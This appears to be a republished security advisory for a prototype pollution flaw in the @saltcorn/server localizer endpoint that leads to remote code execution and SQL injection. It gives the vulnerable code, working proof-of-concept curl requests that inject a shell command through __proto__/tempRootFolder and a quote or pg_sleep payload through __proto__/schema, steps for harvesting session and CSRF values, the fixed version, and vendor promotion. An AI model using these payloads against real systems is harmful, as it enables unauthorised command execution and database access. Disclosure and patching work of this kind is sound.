GHSA-78p3-fwcq-62c2 is a high-severity (CVSS 7.2) remote code execution vulnerability in @saltcorn/server. A fix is available for @saltcorn/server — see the affected versions and patch details below.
@saltcorn/server Remote Code Execution (RCE) / SQL injection via prototype pollution by manipulating `lang` and `defstring` parameters when setting localizer strings
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
@saltcorn/servernpmDescription
Summary
The endpoint /site-structure/localizer/save-string/:lang/:defstring accepts two parameter values: lang and defstring. These values are used in an unsafe way to set the keys and value of the cfgStrings object. It allows to add/modify properties of the Object prototype that result in several logic issues, including:
- RCE vulnerabilities by polluting the
tempRootFolderproperty - SQL injection vulnerabilities by polluting the
schemaproperty when usingPostgreSQLdatabase.
Details
router.post(
"/localizer/save-string/:lang/:defstring",
isAdmin,
error_catcher(async (req, res) => {
const { lang, defstring } = req.params; // source
const cfgStrings = getState().getConfigCopy("localizer_strings");
if (cfgStrings[lang]) cfgStrings[lang][defstring] = text(req.body.value); // [1] sink
else cfgStrings[lang] = { [defstring]: text(req.body.value) };
await getState().setConfig("localizer_strings", cfgStrings);
res.redirect(`/site-structure/localizer/edit/${lang}`);
})
);
PoC
Setup:
- set
SALTCORN_NWORKERS=1before starting thesaltcornserver (to easily observe the behavior of the PoC)
SALTCORN_NWORKERS=1 saltcorn serve
- make sure to use PostgresSQL backend
- login with a user with admin permission
RCE
This PoC demonstrates how to escalate the Prototype Pollution vulnerability to change the behavior of certain command executed.
- check that the file that will be created does not exists:
cat /tmp/RCE
cat: /tmp/RCE: No such file or directory
- pollute the
Object.prototypewith atempRootFoldervalue set to;echo+"rce"|tee+/tmp/RCE;by sending the following request *** :
curl -i -X $'POST' \
-H $'Host: localhost:3000' \
-H $'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' -H $'Accept: */*' \
-H $'Origin: http://localhost:3000' \
-H $'Connection: close' \
-b $'loggedin=true; connect.sid=VALID_CONNECT_SID_COOKIE' \
--data-binary $'_csrf=VALID_csrf_Value&value=;echo+"rce"|tee+/tmp/RCE;' \
$'http://localhost:3000/site-structure/localizer/save-string/__proto__/tempRootFolder'
visit http://localhost:3000/plugins/new
- enter the following fields:
- Name:
test - Source:
git - other fields blank
- click
Create
- Name:
- you will get an error but the command
echo "rce" | tee /tmp/RCEwill be executed - to verify:
cat /tmp/RCE
rce
The RCE occurs because after the previous curl request, the tempRootFolder property is set to ;echo+"rce"|tee+/tmp/RCE; that is later used to build the shell commands.
class PluginInstaller {
constructor(plugin, opts = {}) { // opts will have the tempRootFolder property set with dangerous values // [2]
[...]
this.tempRootFolder =
opts.tempRootFolder || envPaths("saltcorn", { suffix: "tmp" }).temp; // [3]
[...]
this.pckJsonPath = join(this.pluginDir, "package.json");
this.tempDir = join(this.tempRootFolder, "temp_install", ...tokens); // [4]
[...]
}
[...]
}
SQL Injection
This PoC demonstrates how to escalate the Prototype Pollution vulnerability to change the behavior of certain SQL queries (i.e SQLi).
- visit
http://localhost:3000/tableto check the page returns some results (no errors) - pollute the
Object.prototypewith a schema value set to"(just to create an exception in the query that will be executed to demonstrate the issue) by sending the following request *** :
curl -i -X $'POST' \
-H $'Host: localhost:3000' \
-H $'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' -H $'Accept: */*' \
-H $'Origin: http://localhost:3000' \
-H $'Connection: close' \
-b $'loggedin=true; connect.sid=VALID_CONNECT_SID_COOKIE' \
--data-binary $'_csrf=VALID_csrf_Value&value=\"' \
$'http://localhost:3000/site-structure/localizer/save-string/__proto__/schema'
- visit again
http://localhost:3000/tablebut this time an SQL error will appear:
syntax error at or near "" order by lower(""
NOTE: Another payload to use as value could be pg_user"+WHERE+1=1+AND+(SELECT+pg_sleep(5))+IS+NOT+NULL+--
The SQL injection occurs because after the previous curl request, the schema property is set to ".
const select = async (tbl, whereObj, selectopts = {}) => { // [2] selectopts
const { where, values } = mkWhere(whereObj);
const schema = selectopts.schema || getTenantSchema(); // [3] selectopts.schema
const sql = `SELECT ${
selectopts.fields ? selectopts.fields.join(", ") : `*`
} FROM "${schema}"."${sqlsanitize(tbl)}" ${where} ${mkSelectOptions( // [4] schema
selectopts,
values,
false
)}`;
sql_log(sql, values);
const tq = await (client || selectopts.client || pool).query(sql, values);
return tq.rows;
};
*** Retrieve valid values for the connect.sid (VALID_CONNECT_SID_COOKIE) and _csrf values (VALID_csrf_Value) :
- open the browser developer console and go to the
Networktab - visit
http://localhost:3000/site-structure/localizer/add-lang - add a language (
Name: test,Locale: test) and clickSave - under the
Networktab, filter forsave-langand check the request parameters (HeadersandPayload/Requesttabs) - copy the values for
connect.sidand_csrfand paste in the curl command above
Impact
Remote code execution (RCE), Sql injection and business logic errors.
Recommended Mitigation
Check the values of lang and defstring parameters against dangerous properties like __proto__, constructor, prototype.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | @saltcorn/server | all versions | 1.0.0-beta.14npm install @saltcorn/server@1.0.0-beta.14 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for @saltcorn/server, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update @saltcorn/server to 1.0.0-beta.14 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-78p3-fwcq-62c2 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-78p3-fwcq-62c2 can be triaged on real exposure rather than presence alone.
Tailored to GHSA-78p3-fwcq-62c2. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-78p3-fwcq-62c2 in your dependencies?
O3 Security finds GHSA-78p3-fwcq-62c2 across npm dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.